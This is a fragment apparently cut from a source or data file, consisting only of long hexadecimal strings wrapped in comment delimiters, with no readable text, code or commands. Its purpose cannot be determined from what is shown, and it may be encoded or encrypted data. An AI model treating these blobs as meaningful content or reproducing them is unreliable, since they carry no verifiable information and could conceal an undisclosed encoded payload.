7c2cac98e1c6c4549ffdd32ec4802bfcf6076cadf5c5f7299bfdcdaf8cabf8497ef5135a4bbd92ccf79746c61bfb7f0c0b712c7a52eeeea68fca10c481859efb23bef5634d1407f1cdd179cb7085445e8027d6d165be1e5c9ba928b4eb8624bf8e2963fb78f089a3608dd632022bb3cc479b72c7d13d9abcf428de42a13c886aeb7086af3e4e603e728a0393a02176dcaccf23fa8c8ca5c6499b137ef25a9d128bfc88c95d745b5a2e81b117c1158955bd077fdb865214b12149c32d7707294ee3c6177d37b2e6ee7727f0e4653a7e94cc5d8c6d350adffe80f78228ed7f9d4295bfed9afeb695fca523e7290e154aef6d175de24da1b5ce78d00832ba2e5337cc87f87e79e8b716fb0d2da8c46d100ae436c8e0de439e5adf46919f7ebdd93856505c26ad587f342f8e79266fe3c7343c0633b52b808f58171f53eedb7566ebe55fb2ead1fd2bbc2ed894655769ec409fd2e80dec49707effbe2c1b05315d46b936b112eb57b7288fb6d5fe672774fd314afa9a2ff447b4d158a1228b973e43d18cb5185844319b7928a14c7a3f488a4feda6ab9a21229cd419515aa3b31564ca58f6d475311352be08d8e046ac4175e8e41a790e3242f563d8153f46bccb9dab6a7c419741105f9d30bb8579809e0673cc66aa5f4ca218adaeb190d15bac2f3e3fcf475858a94360ed040c1e2198a3dcb6b30124e097535e383a2d688187a2ec168cc87a63531a6b8f460829ad840dc6a789fa2456111de050153ee6d44bd80da7e9282e85fdabbf8ddfff619fb06535857962d97615890e2c25e0e2586187439c6e14e16a0df87e9b1fd2a5beb74e67942c5e069149ae7b79f86abf1257b150ca263dc8ef786b47dc0dc613cac0c4025d0cedf78e56a36933b2d578845a3d3525476bd52f249c0dc0b46707f39d6c64f4db6d387eb832f5dac8493e5fed710fe198bd3744d91c4cae4c89a177d5a313087fccd0d076f41c227ac582a042f2cbb5fda2b5c09d5edb643482c253d217f33a11fc0856be275d44cbe03c0c5ff5b0e2b740eb08795cf87c489e54acb74178d427931cea109a1d8c8e416e3323abd6af366ab5a54f49c7a83f1b378ae5d52dfb76cab739004103d729bc4b5f69d551661b4abf05d1c8b9227332e1b6c0e16b803727610a2f566590c7ae5499b724c45f7547cce04e78742490662841fcd3676aa2f95998aabaac336175068e64bcf6699a04c68c5ca130168555009400c088d1fa5022538139dcb1f9eba9c759916ee9355291167836ab652cd2485be064cec05c0d9783d3d17735062da9bd9eb05b8565f8820d5c111d5fa6bd58e461440d77599edbc6b5e14fcd3492fdd757a792c95f1e65b9d027e2ad6ef218435c4968280f8aeffcedb99e73f05144ade8126f5cc139bfdb9d4864371c121cd4a110c450ed99dc567dd7bbd9f13ca795434197f93af42c08e74e854ffc9f5377f77ea271a81d43b39baa48045f40729de0da0d31b8e2edf93ada10e232246279f280cd2b006ef39fd815df59aabae13ffe380008109a087ce24b2f494362e3d27c6e1a26fb46fa66e8507bc0ebdb133a9e5c8f878bfaf1291815b1acbdf20db90d32a5c6e96ad6b782c4a39d2538f7cd06d56f5dd363e773e0a6ca40d7b49e518fb5fbf3305d3da244f86d475572fea40c966d7992166fca4d52e9d2551cf80a76aed5988a65095f1d297e31372dfefeb51df42d3188f8f80158e0fd141b8666c694a6a4cab08651704be46b1d841b767988ceb2fadd673731ac9078ccd7e1a88a610cbfe415c647c8cf1e7aa3beb35a751433adcff29cc944b8c420c6f62e84558503996746e78b912b249cc5c132349f18ad114122f9e679a72291fed3e6967c1f044bd923fda6948b518b3f7ac0f731bd1f1f4879beb636c17a91704d2035d94c594523ce9b9bafc9b9417349c812741d2a72cc5b38764d45dddc4721ef157ec0b29d0d66a71bd34cf3af2ecea13fe3a180db3c55adf1b4672eeebdddc2431f243cce05cf87b5746ada05e27a78f65264e52c1d930600ae83d0520c27c91622c4bbc76dfa1c15a443f6cb22b969514f687c315db1e22940a3ac84e001be81dc2aed14751da0a93ce03874f*/
/*3b2b8c4a80259040e2330656a0822e8d7e6da3d8f1c51a67ebf14cc582aed6b74557642364916fdc6cfe8affab5b88941ba9cc050ef466cfec2cbf96bd47df764614b2fd7f45177e3e2c03a7f7dca0ec07addeca9d5f9d9de05f38011d4271e8194d2e2fdd0908cbe169065fa89aa9ea025d3b94a353e9af60016e0d09a1c609b8451bcd4fb6d9e721454d154ca500256bf89e0011cc1ab1ab116a00df106a457236592678b665b433bb78b976ae1422c3b26db4001446496444642944d04431523bbecdaa5d8276efdfa5277186035713bc14036a7b420784011db18cddf89a57afbc5833ab31a16fb8cd95a9ce204d4e4e201a9f7ad3752917241a014ff3e34c6422c38acb612969cbf7c56b6294bf2f8c808d40c9e15272bae4efbf16884efeaee154a8179930a5c1708a523943bd4bc932d9ef358f498902d209782fb97f5f8c5af33e39f519cfe0b4ad076246214d2004f66313ea8833435376cdbdf599a31f6c5bf7e3e4aa4b649713cc3c23bdb3f285beea26f825a241aa30fd1c242878eb917097bf61266d16d800859ceab58d063fb507557dae04e1d5126e43920e5ab5eee7e4a931cdee3a56c4470f14de68f113317c9005b4c0bf29337fcd966bf870d8dd7797b3bff6f81938b1ae34f9a7b88952d49fa35918384e1b5e88487d67be76897c80d6408fd4468fbbf9992086e649ca844c40d0754485cb68169f200542383da5e584bf404ca1b4c5cd9a9fffbcafbba7188f953549fa9b02b08a4e34d0a3877feb470abdac54e47fe40e99a6d5138c76fc3a5eb386e07d5701947d31f2a2310b06bcae5e4e127f77dbd2ab24bebbf14924754e4b17191ce41b28eef8ce4f25d11f7164fa1f8f958eeacc6899cedb3a2662a00d490df73702e96933240b84e52bcaf4087687fc77482f40b665d9e319df6a74dbc97a063cb63e8ca4d3f08561c380a12783019bf4aff457255669526742621db643cbdb4684a4c15be0c682367ae755683edaa3c0f912a4c4f790c2e2574bb92c3535703916debad37bc055e1d465c44ea7d4c46f6123f04c2fde514ac15e8767b7cba3feee78dfc7e3f93c9bb1e67394ba56b3dc1c6d25b4e7cac0bd4cf367673e45d64e98ca9c54656297f2cbef0c7a99f4dde0b7476d2d7df824b17b62278ed949e2cd9ae89644ec3616be7247554388e362f4ebef1949389212e0f9ecdccbfbac180fe21d1ef2b2ecc3fd0b521ba82d29726e4472eedc7d799a048c7162ca4c28698d8c3284d985a1f19c052baf528660af9019a04bb4630cd8d2aaa99129f51fca96bdd4344d669e9e7f135b4d1d902a49fd1979261e318716055a2c74f533c68a04061a370a4c6d2ab4692e3ffa75de4d18f036d8dc3e54a3debe17bafe23d88cbf8622add0b962c37fe4eefd40a5ecbe495743d656d820875092784ee3d904e043aaf949824dbc360160f14a258991fa271a32f931fc7f18ff38cc7c21e2a8a5a9ad1f1206a8afa8569e99f6f6ea2f3b18b8616ba965fdd5339b9413f8b8b5379cfabbafec24ef211b2e8099ab476017403428d53487ac8b2ca3c15cf35334543e61056b12c0b16d868f950618d726ca3801fc050a89fb6d9eb6d1bea518ad289ce03c0bfd8b8491728f6d6b3707e97019008c09594f3027f2995a6c072584642d163c4bc7e3770a3f85191bc30242fcdec0beb2036a9c52ce824570e5741b2b5bebdb498653b819159037e381bd485d5b8c0b224dadef67dfcf95e4bf3e164a4775fd6c25a450d64f191aae1b8bbe54c2b3726ee4f1d89b570d2882416e8531760c98c86a52499bf73e9cf753b1f0addfee16878e21fb737ba5548382fd29e442963427748f8ab0e9dc8e89c02b554de5b447711e9d51b9930ef3702dbdb7a818e6e47d5e445e522abc19249567e95136d4cb8c17612ac3f6139033445ab9d7ed69f00c5999a97b346a736aec2ad342dc19467e56521da763b61237e20b8efb08cb83b1af9597c12a72c5c588bbf2f6dfd5046d10e99f6969aaa9f065457fd191b18d717bc22a356a688ce6c1f18f3ed5529d1480780d8dbcee5bb1ec59c8ed793dccdcb42e698a423b85dae626ab8dc5f59723f786686170d90f96123a68bae85fa7e5b1e7e2fca268d95ceea4aa491e1b15feb3140f3c6f0de88079d2c15186a0eb63660d3d78cb77156d5a21dfa342b0c30827a64d1ff8f118c42620bede10d87209c2469ab83febad1bd427ec0c5c346303c49f0bc7eca92a8e01f6437497591a0e494f89fffb9b42767f85c1fa491ae4ba10ab5ae3d9087c16e654cb42def7890d7dbfd8e03aaecaf0b2f5306575521425b85a7ada7cac6590d21c13e019ef1bab642527400a406d40e2da40caadc909e23f4e604c448de6acd33034362d7c093a0b63e3b0626580e1f9507216de5269428af9a2c41fab0c896e912e6f2878323e2f939a64a50e4f04508bb633f8f75f07566918d3fc71b73b25dd911b282f8d1ddf1415e6d259ac942cad9b086472d045110beb53d513954b43cb658e7241934249ff5b3c5d776985059f40ce567d60049b699be8b1123b965669df7ec301017850b38f5325a8f90fc126721d0e04a2418f0bb81c3b7be55e8df09a497ebccfd4521a1d487146f74f21be11bd16ef0d2873c3711eefa8e8d27b69eb91bb885bd21dd4f23e7ab1e46e10a52cf53c81ad139ffcb1b8634109c2555bd0a324386b717bc0f802eef56ceeaa3b9afe04f717d20685493e224f5b1f91b1e121470677e39bc50c86316354bf8c5066fafc5ca5a46f74541cdfbd25ca98f3956f980f5f0bbb0ea9f17f49264ae77f6951e4e6a9bce8*/
/*3b1f764bfa4d71edba4eb29d3144017d9bfb8d36d0f10650f4c6a6d2102f15276db5123ff2cd93d595cbddf73d725ce8d3681dfe218bb30f36ff82c3ab2babc7e46149d9f2eb1d547a69bc3d9c23b2aa6ed09aaf38a08d63fffa373d3ecc06302a0e5b8dc75dd5d7d1ba4e36f94f931c24c2d92839f0eb06b6f461105137b76f1a90d6606d9014506cbe222886f726ab43ed113760df511b2bf247dece74f9644f848f75a86788f0bf9ef6c50b51f4cd6a9705ef063406251c39d3d142ae4163ffe25cb56ce7520809d5b651fc381d77851a0c08078aba437bbaa33fd70039e14e031a7d3b3419eabe4f0bed3d4d6823329c8f15eaf84b0a30c2df1c275593b0bdb64b40f57661ff105ec81075256d145e3898b5751617183b79447725e38dd95dd7dff6ee1690ceea0786de4af951d508096308013d0e3800175dc75fe700793ec2e3ca8df40c4e905d02d2966872eaae0e11835867f84f562f50ca86f01b46ea7c968a70031cbc128883d9fe9005b16caa790e066891709694f2522c9acb727a15839e04d2789c350698f59e18c3e8d7702b14b134e0e1d146449e7083668de74156be64190864ef948a7c77cc4525f905130a631a6a0fb4248a48ecd0a2acde7a4e5084eb818717cba1f2e0a05cfb9e1ef0f41bdc4195fbdaac4a5f067d8db3fe4cfae553901d38437e03f684f8c75c71d368d5f119b27b38a66de6d3336330a8fc65350357c477fb795d85cd8f1e57cb0d72550750b8f6001981fead7738b4b9e43cb0b25f1c99f452c3b221b6c7a46dd976f6327c8a4083d46be68e42aa9351fc400204b3bda8b37a8e55fd78242dea26b7797478a3225647e3ec294a91f4667e3b3b510acb57b42303a2510ccd8ca3855888d957f8fe31f711b0dd3373c2a43d3b7a8c668989e2fe7227f974f32a23887fcd575bbd172ccdcf80d1124ccfb107a22133b4912c38417a0cb77857a78ba6644e31ae8438c0f9bd72ba8724893fb8e2e661693e0358a6b437f1968b677a7bc0ad242b6bca78d054083b9c5cc76e9933fadd5ca327fe76f3e7e3796e1815ba300950656a3c8cb670eff99b05862c7ce0cea88adc7ea3ce7923fe03a399634c7746e7e4f78a13151a8415d3a440873aa6ad5106a3f8ea4f5690f27d91f1e7405e7908db27647b2314acc0b9517b72930aa3a6976c12ca76d83d46ee32a5165fecb7706d4f5a2cf50ab9fe3dd17a0e514e7e0ae5fb11fd240d588be58a23fa9cd1979d1c15a12d06edfe9392b869441d4e8dfc8fa230e4664786a4fe17294b589291b9f08f011ea150cfbfb1ec9d0083d0eb56c40ad777f477cfe37fe79a4935cbcf9be9879dd8a3810721ca6c6a0dd5123b8eac705d7d37f749a285c514c227db7094dd5ac19dca7c54a7075c4e5afbe29411ad0b7a925d1b16503734d3d75642aeb172fc4b2f73e2fcec1c470f1d47514d913ca7bd4cd78b7116f9fd5ecc061f4995dfe2f01eee54a621eb81b729493f5ff1db96a9b9410f80287f8b2937f538cc73aaa6f1c6107caf516d8806153ea61147aaa5335bc901f7583bbb04204ee9cd92c9cc12c7c3ce197c284e964dc184526d950bb774bb844445f1e2b7c36fd141dd2d5ac30337dce6e31dbca5a879d5a6b18ee57456b25df416d50ad246e7d0f3edaf77265201b09559f025ecc1ae97b6f253ced45bcb9539ce3f20c394616b29694bf99fa47f967ace58cba8b7a740e2e66e600e05529c89cbe74b4106f1a35dec4383a04812cf4509a58a3fd1199043e2fba7382ebc4b3390b70e95e9d434f0182c6cd11a0d1abb2cd3e1d31460797c043779c67f27963656001e7964f66ed1ce08c505fa61b5ee60e60aa23aef3daaadf0be3ef720a17acf5934389808fd8c5bf26400cfc01a657f3de52f469e3562438571e7db9d238680c5750218d280af9385e08bd1213f023d4b5f095655b12df2b789808632e12e681b4467a577ac0610022e5c7401ea1d1394a07cf26074a6c551db6159c28d74a35b6e880c3f7b91d0ad8ea95f8cd8555b12b11cf7a6a0b029b84d3e8357e9316892d49d4dc810bad47246bec0d35cf136df5797699a52ced6a650af7376b07dea70af13acafbdf6e0c8562d940663cab3871fc1bee828993d8cc479d17e85c0a8a08c19630e3ff73479419c7c8a39a4b01965dc12ee0501fe8f254454bd25edcbddd853e4ef4c714ad29ce8959e6f6b3c5796f9cc06b5f9abcdda970c99824cc0736fb8dea8b41e7b75e84f09c6bf101bba39a7126ed490f01efe3952703c02aeecddcd0d59fdbd1faac14a1203ecb4c65e1bab506ffd58ed8351f6a11d5d2e9c0ba64ab0ada77efe6062bd943f62b2b6967b360dbbedd8c12b403542f95a0101ebc679b13630b19ae64cd148d80aabf9b0bafe869a2f7a925f120bf02f8f0e4607a0a9581bdbc242b4b19241904e3913ead89474199b6964c11ca9d0d0949d2defb8ce5008a46030e747e687cedd7f4a46bf1b755e6b079ccb0c17550112a754c0aaa8508b114c503033c044cc01a4b3000ac30615ebd8285dbf05273a787de718022a80e4a0f119ae52c2d6b701344b19235f29028526279ccbd8969fc32341a1305ebc9d6addd3040e850e6c8891b88a9d737199f2ef0054a7c02bcec761084b854ee072b5d3646613f32c503485b1d8ccf5aee38f4fcf83d892d1311650297456ef086758b686af88b4c09ae4170d5a96e6b040500c8acc7564a58d6fb2564398b9044bdb8aa119ee5005c4f06a162ad749a4401da44ba49d3951545407514fd51149c7f5a95b293144dffcab1fffc168b59a91f59f743e683e9390daf2ba1861*/
/*adbceade0e1c73c5985524b632bab5d198c63c8aa09119d48837e3b68772395dfc1625d158342319742eb5279c4264f3b981ce8f842814a544097b2d76f825ace1cbf35e3feec23e4faab3d9660a39cbdfbbd875a43c2272aca4a7078f8b46a838bbc877046bfcb1eff2cbe381156dedc75ed7a240d183235279ca5c5eb5b97840b803cd9e3378c4f90c888f9807131a2da8598e36d620f07af9106e178c2e2a4efe78d10df55e33b7ad5976295b0fcb245607a61e934899e4c0fab4b3fd51c173361a33be764498cf980f9ac2c71e7b4f7dcc407f724be0acd3fcef12ba83488fa5c4a2ee8bf1b05a07f0525aeef0bacb2585f81cd847c2c0357fbe1dcdc3dac201f43ad94f19ee066953de50632ee683a1312056471bb23158b52c7c7a44fe4753c8ad716d3880f564cd88a67d940b717e01522dc4d8632a3790b90cfa914e630540ad1ef87dad047c7a5162cc50e868960463f4bb6a9f21d1872f87aa33d44a47bf8c19c2608194933e22710a69e785d33ea4b3a00c639f8f74362d83a1f39277ba4b6f9445d78d37f5a9080a26eeb7ed5165c650f49e4614ebaa1b1efc8e1baeb6fd4b47dba3194fe3847c6a3153f36321d7c2218da1dc5cf598a1f393590780e6b03c0bd2a2d7747af69dd30893625f201766dc1e652d14f0843372934e10df05b67fc616f86f1ebdd1039955d979818edd64e448f3d0f3f6a34ec41e52e5af6e7c3b9c4518fb29529c53d9dc920887a72ccc10beb6f1f5172621fad8bde6ffe380f9bac511ae05ea833e761d2616e053fd953340b8f112dd52b1118365dcf1b3c07b19756d4224f523b630eaf7ecc6934e7361f909b04e58dad2a4ddbfcde24f0dfb27df8b658b0040bcd08e902c8353dade1a0c98a0d2593a5b429c8a5b5013ee7e47279d33d28cbca07942455c34805a18f584529621356222cf1dfaa1dc5b20914f9d904f8e1bce27365c16c690d3e8e4a5189901941e894ab45287be6a0a3a70d313aa06b45f175504c4a75e111d5a9e757c6e5a85e85c88466e030861cf9d4c54ffa63b336d1ed7457fdb6953f9bd6643313be327a2433b6df32d64104bd2d7b3d30f50c42055edb686ae97841ce612c46b3b6f5cc706666314324c15c17b8c38e1082590995c0eb953d5ca74bbf577e8e2e95fa6673d5796387bc7417ca69eae48498543d1ea716ec9943244bdf545f76b69ebc46a4018a9622972e58d9f5e4617556d753e5efacb5b7de3209a929552e1947557aa3b1215fa2ca01ead2354cb4e8815ccb434eaa60e9569bf3cd3b1e6473e6c4e2287fba2620442fc1ef48df1c4ce33901e16aa69a28cacda54d16abae6105c7eb0827bbc53e61040b90eb58057eda0202ed975579fe19e6f4ae27c6ae78013de4867d7ed597046a303a5b0746e0c288ef0810248552e89c468029dd163e75e836096f5951ecea3a0bcead6c5bd725063052ed8d69bed393bd381128d5dc23ac4ac015426a21d2dbcdf18627ffba60a2dd81460de1abf2ef1d163053630edcbf2f10e2c51d33b2ef79d2cc69aef6c9dca6800249c766bb57dbb764f892e860c88ff4ad85d63ea371b028cccc5bee1ad0fe1186d072665e48fe7501f1d909f195e9957c990d6806b6892a3531c4c33f3fb6cb333376b169be908aa396ccdbaa4b4d7c61e76a1879d467b6f4f087c087910ce7e2a6d8dbb8384e4e842c17de83c96d43889b89c12327a18c7365e98f2763b373ac49846a09075198b5418635140cde74bd8dcdc65e2b6e3f3e9f126699136e71d97020776ca58091faeb2e5602088832939215913fd18c14b042bddb5c03cf359cbc9eedbea6b23d2daa1163a2928ba3c60200d1a984cedfcebb76462cbd34cb01351d76aaa53f39dde36443e4bcb86d1816d72ccd36dc38baaf86dbb968b0d30483c43f731d427a2a17224aca2f86664b6e4bfc2a5b00ac6c7dfcf9e16287e4b7b54216b224458f0e278fd6f98652ac22cf7453117effdbb7211dbd870a0cc62f2de8fb3c3c729a55c84ffdb8ffcdc57b87136dcead201223d9bc59e9810e02f6e37eb1c98cd21f63a6556a89aadca98f7098f51e62238fcd5bf52d4b80f55e3dd62eaabea92da9223826949c641a371b3bd7ae110b649e11817a723ba4c6cb0f4b0152fd46e08856b20edd510f2ba603af753c624d6668d845b77def48fc7fd4d5b3bec6170804a76296efc5458dd8ad7c3b603249f94826a972c90f18875089824947775baf1b76659e599d8fbfaab46312873e94973bb132923ad9b6a0800e61b55f543d442a0dc957cbdd44f0c43e760e40c6f5640de42b91e420570bb21e8bf88358779d4b9777069e8dc6ca27234bd9b03a044c8e815f03c1125648956c476074418314c77d2c4c66161fc60591bc4545853a4d47c7faf061835b26f19c5c69986514a2f3d8409f33f0ce670a33e6e5675bc9c5deb0db497abbcb79f3921c578662347edeeb70198c5e88e4957a8e3c91f8501dc8183f2d7db1e9bf39ae84f149cdbd24e2d2f49820ddcccb99a458538fc1b75fbb88d8c70d96a50007b7738321e74561a764ebf03e24ee2ac8c9dba092550375fd0a534e15b8b4012b47a750fcb408b1c54e3d16795fd5d6dd86215bf2571377df370a393f3d1ee655acccadcdc93f4eb3e13f7117d0f0eb2ea0ce1015ad3e7ee090613f3cd3d44fd0332fddf656e7e702756c608c5e60b7550ab82fa26d62e0a1b924eb4b842320be941fa50afb747be4e7eb70eb246984bc4a99096ac6308315c16a19c5075e48024b31daec8c2821e792b41fff9bdb1514449430a6f22bb853a16389ea2b23ea41530c5f57f*/
/*e0174609df174b81e6e166bdf0e294d42fb33a6d4ab795975e0176568dc6da419cd17b34269c098f997b2aa3d4c933c01b4d305ad1d734d0cb9abcc17e287ee8dfdef274dfc0e2ee51cd5f8a07f653cf5257339bc73e99de541609f4915da4cf871c6d8e80f27936b4fe3bfdd06ca2f9adb76aa32ec232db8fef313f6d2ad758593f250181689fc2cca169c6c9eb09a0c4c1fd6dbfbfa312266cc58c7cb1e2d93672c464876ebdd88bfb3eb2d6da3e8cdf06162299bc9c4cad8af87a7c24e6bcabeedd5050ea80970fca2077f1eb9b49ce4b3799a9d91cb78026e3bb52fc8d3842297d4cb379c4937fcd106a1325a267ada0a0f903e45f49d0a38eecbe606b0bb99421b5eebd49ec48c359a331b3e6f6e427ddc5e909746f56f9a1dd09ea85c1d5ba2fefaa7beaec6e16e78b9d29595f38c75f139fc033bffdd277dafce482161dfe2dd9f9efba1bf6c0af5f3369a18f41091595233d86d0cf1ac4db44029f14c30d2f06f16b6d9590db94d91e4a8c0861454c50f584d26da22237b2a5a0cd1642a7e574d300e34195e3fdb20780b29a367994f1ed299db6b3f83448037014a3b26eabf3aba7807ef40b364c44782b300587292e3e4b8da46419e12d8e79203e7b4cc0dd27b3a3f3c13b926829c17a2207b087522fbb1598ee8c6bf0a078aabb6761641fbffd1fd1d90d5eaba41b34efbcf31bee66294af76103b1f0d1b7b7cb0f96f6fc08318852c77bbf601168ef272bd4b3e1ba691930a06f4163d327d47e95b761f5a6181efb57ea74a1de01b4b71d54f8fd227d2ffa2b3add70339524a8300238c8d1f899073c23250a93380fdbb8f8a2e22c72cce98c28c7dbd36e543aca7fd1caf69619a17ae893fab819e8b4db8cfb1b9882b0255b19056989dba28bb060f034e85ad7f916e335a329d0a2cca99eaf6e2a7d5f765c601ecd4f8cf6c07944b4439a4b26e605a2dab9731afe9672802fa57d0074a76c8813e66d1f1566de8124f5df8c8d0816c9890c897115f992b42bed36ac65f07de9366194c16fcca9f08aca0c69ffffbd6a21b56c59dda1a4387ef012cbcf3b13bfe1b333f7b6e1ff34c4dd2a3146fe1dcd973fca7a17c4d0b303ea5508c7789a6f52a5c00d2ef991cd89112c0560c0c795e2bba0e7bbaa383700ee32d809cd97ee4d843469c0d387e45b03cc35778f052f71bea0f1b7cd8e520375c15f59e5a15298737bf2572b3b2640fb78e0602d5a1f30bd4b8093ee01e2b3192fe47eb2a80a486dcf4caec6f06d9626807b2cc48756aa22a2a7887335abc19b02170c66eab8059b3dfdf10dfda3b9cd067454c91511e3ecf32868e321ef36d2c753130db9e5932f49bd93983b8496956b4ac95b7d597b7f3637ba5230040410e27e82a320b566e38a823b7d0c2bfcf76e921baba246a8814870508e794d9e7e9f5b029c9b6f47a9db4a3c963c3ff1ef59b5f109555a3168456b8d61daec48c7180517cb78d7f4ae7f3c959f7ff7f930b392d90611a09ff7eefcfea79ba801b7529597b047ae2fe34b736824475e9deb618bddb2dd0751b70282466f693a5fd97cc0128d0515d17711e7fb78888ae3e2c44b9ab4a82ab8eb9f20701d4db9e9a3c6a5b09c27d0955d64effebc633a23ec7f6531dee47289e8ee898c81828cf241fdaaf128fde549d4481beae7f08695b6082940a4da2732cd632b0c7e4d81b9ee9e838111c39976f206c45489973fdfafaa8752215f15b0ef2247dcac33a632b08f72649fab1f81707b6568e8f41190ce3a10719bf96905bb51559c7ffd69e27b4ffcd6082c885cbe96aafea22f89c830b3dc5feee6d50b5d3a5ca9a457ee068fd4b4f722b2b547358da5b6388afe4fb89e35ea681a8c6ce4d4de62a56e13ea0575f4aeea71e44bbba6510f97de7e77a030399ee4167b486305a3a4f81d8cf5f35b551035127b1ef458e9f6595806f4c68b0f96aaa07580b81f5a694ef84280611232c847c3b5ff408fdbb79fe7fe277944df795234b2cfd92756fc419cd8e34d0c1e54eeca60c3457c6db756e53f20e04a9340d05e55a332e550a8203dfda0926498482aa08683f52c47567c835614b1465199be32dcfd817fec2852369a2697c1ca51fd72a3832707f9cb58d47e3412c8c0b2a83118c83395aa8a98d0f133adfe105ea149138b8abbb8f882ab972be76bda73f7378de70aaaca82164f8829756dc0c0de5826724a0140c1fdd5a0596073e44c93bdd09dbc2732684b224e94242aca3c9e481a644821b65a3a1075978770938d9bc9b6cd615addcf6b1864b1a3748bcfa45234b7b1aef7828808a5ee3cafa530b41c3150e1febe0f5288bcd5763307b1dc696e055469f7e78bb88eef656b3ae6366613c634957499d2372bfe01a49fb014155bc93b8ec6a36f53fa39bb2d9e2f5a864148bb5169f3d227834f1a5f79742df63098355339ec018259dc9ad22e4c23b0a4228d9f9893bebcff229a24b3da4e7d75f48005700edb3c15999742806546b51655bde04ada5cfefda64c6ad41d910127cdd5a4cf02fe59a2dc787c9a850d49ddecb0d68770fe1fe7e7d9ae745bdaa80eec8d0c09ff0b673f86a61ba34b89faec1bf76c3ce6e0b929fec80d86560a03e04d0237141eca26ea99ac4a2a55e6819712dbc7a74e58d9fa22f006ba0fdd8bb271fcea0ce83f852bf43cdc893b64cbd8c6829810fdf80569558a12fd1f7e4ae35bc4a080d011b66dc880c5a711901059bbdc98e0523d9d249b4930e77777a4b83637da1bd8d5afaa3b95fdf43c92f3573ab109e00bf9ff6ed72be416b1dc41ff23b24c672f5fb3d0d53d79ed45213e83697c97ccee81*/
/*6f2d6ed5da32f56e4288fa07db291f398f706bafb04be1da712972199c7771c4cd5e77e35c5da00c777f349bb7dc8f6424579aaf7e09c8cb118bb0ab7a4a2ba04a6a9bb215624c1feea3fe0c1f8d177bdff3c45a415a1134dedec5af42a6e1d84160b29479a8f3ef114677a077e2cb0564122d236a179cb9ad9585835d8cb7a6cce5453ad5872ec25f74a8dc2a65012a158f301f7449d9ec02e54d7e86929cc632694f51f9173f5b0a167eca9636f4462a0dec0d5a319dc3da7637bec7f7aec8901b1d436f45005d7c9aa0dfc80a6f5ae8cf380f8b108b57e5ac27ffb03810e79cc373903962cbeef5fa676ee262864d9088045132e2fd252707de2fd47afe82ac6ce477f738d6c3e5dd7768d1d2f1469ab40d1ab50df678bfa5670d49f96c7e6ff25e3ac409234ca274e48bab2b584e1abfc08944c6d9851f19fca73f925634df2f96abdb740daf31013871fbb5c154296ae56a2160d6f6e267f15dd1e6a0f2e2c7e1a95ad229ec215fab4762517a51d90c4b89fd56d23dad6be6ac207fe94a0d69ac71eca560edf0949ae0ae7bcbf393164cd879ed9658f62ca9c57581037125b436bd17ef47395968b1b9adcebc5ba4ceae18e94469c8d2cca6c76403826850daa12936d391b9d56a0afdf0cd6c14501cede094c338a5a310e92ea081873e8df8843e358710709d797b26e4820c9ad47ab162d791feec9f4b11e989db35301efe5090ec50e51f0986415e8cb3c2c0279c16f2c1ad4777fce0d82e2cb8ab5b6e9dc2346cc83c9efa06d9652faa7fc171cd45f8d27bbabf099312c2538f26bf9a8ef50763bb1114598dd1f73bb3822527204a8aa9baad268bb66d2922904803ecd3de345c9943ff3c44796d29f4cf7439a321be04c58e7b1e62ed4d332859f2aacd2d00deaa900f9042156255d8b84bc89271a669a40814f62bbdf1a9e85ca00c4cb6099cc7fbe47abd1f6f5b076b70d962e57083e332f720993768a9149131b96ba63daccb3446bf7fc324a53fe47b77d3f985bad5d68080b99f06a792b1ae5e85d40d9fe3539035774c283ff69bd4e1f7bec9c650cd27d22b7b8bc7fdee7824cea8ca6b6ea3d86578388960718d3eebce822f5c53e304f0cb8567af2bbe21ca334975c9cbc8b681e3e28dde14492d7c18222bd0c635b163c606163416445a37d2bc5467f8bbe7e014e34b3fae8bdc523b56aa9ec4f0890ce7d4c973fccfa48171c85d672958032294d96bac9ad7c1b35793ee2703987a391b222992086c8077f6a7a05aaf6337d67e20d495df098efe7cd239bd928f72bcf50dd2614c86f7411004cbf83d20ee60816b13397a9fbcacfb372efc51e2e703ae52cd1ba51610e2361298bbc2ac09ec5924a3366fbfb44fea7ed256db78a1cf509c1403bfd6c22e3db8bc6211f817293abc96d061c442d4e98ba2ab4d46b49cfa3bab86c41665b1ca870edb30d42fff9fa05ad4a858c7fa2738e585627d95573fbd8a8f2a99829ccadd899883d1b6504e67be739c37dde85b8368d02712e5b674d6b618597bcfa45927e46784d89b9e137d970330ae7a051b1fb7d4d1b5878e53915372ce1901a22e3abb234fe2f88439f0975822a4270ec8218af18ae44b239cf95057c29e4bcc7f3464c1e6f3c1cadd70499050b1a1a272b053c7d5638b50b45992a444c15bf46a74885027c4c6cd580b365d94b6c0f185643fb3fc27f055bb27b293bc705b36917f6231902acc5839cd1e6ff2a51f64070857fbf05105c8597fe498c786aa47991d61e3f636c27775c7f36a99f583cbe61e9509022f98ca0d2d30765d630d4780e38989fa9f9679fe5d40dd787823a326f8913c1cf2aa4f4f564b9c4b9e3725dc81b835d00c5ef8ddf56bb126cecf96af03ab46da22c963f2b1b1ad09cd03befcf640e08ffdb5c4e8d1a6d7b2c076d8e184c5c6a8cdaa99d9237ce55a23709a9aea9cb6e8797847457fd2155cd398595bb1500f57021386bd8c756d74b3bfbf1ef1808f62330b0a152516ff38626beab493cfc2372b73a0f04c00385a92cbe5add53313b5bb5d78e41030714360ceea6311f9c05477457d453d44bfc9ea71f504976508d105bc5c56bb200ccca578626451549b7673468c075e4c2d7af8c0668c8a5e95062ec4e2321b07ac9c6dc18b5ec66849add10e8c0b02cd4809e6a3a712da59c1898a7219e14183ae632fc372cbc341bedbc055e302c03363b9444817bd206b98254ab9a724df651a1ad62ad5197e19692618e2b3e413522741b3df1d4f0cdbbce40374bfecf386c727aa085e98c8aa389f199193f9bc8425845b711c23f2addd9b96e39105ea91d71763be006aae348832fb50f713a99649b9a5cab0ce46ddb0f9271e611327156352ac343391d3b63ef9700bdb53d7c0f4d4a856c0e79c94f3bf6b3dd50f3085f0782cd367d0b6d30e0a1fa69f12056b12d9be9173460d927c9d8060c502b18d2af82bee4a06b84fc27b4a7ee5b31c2cce1b9eccec1834407f6f343e7af1cf9e2c9c11e7c1dcd9d85c18cb9ea741f841af37001ac5cc98d4868c276d1f61fcd65213431d58f7d1d324a0a7963b20793a87026cd287315b714d72297014ae2671b1367acb1585ea88238f66e6f116e40970110ef0f5f0632584f34ac07630f2eeb510be85702341fa2f05e4b9c65af008ae17445beee1321a36ceb538fba46d83758b2826f4946e9c2fe58ad78d83914b6a1962c2e64285ce7a8cde86b341ae0217a4a2d5ced8658fc1bf13ec9371ace6a3e27c3e8ec1f678139b2607f963a49fee3ba790a3537048e43ff9f514771c2c121a15fdad5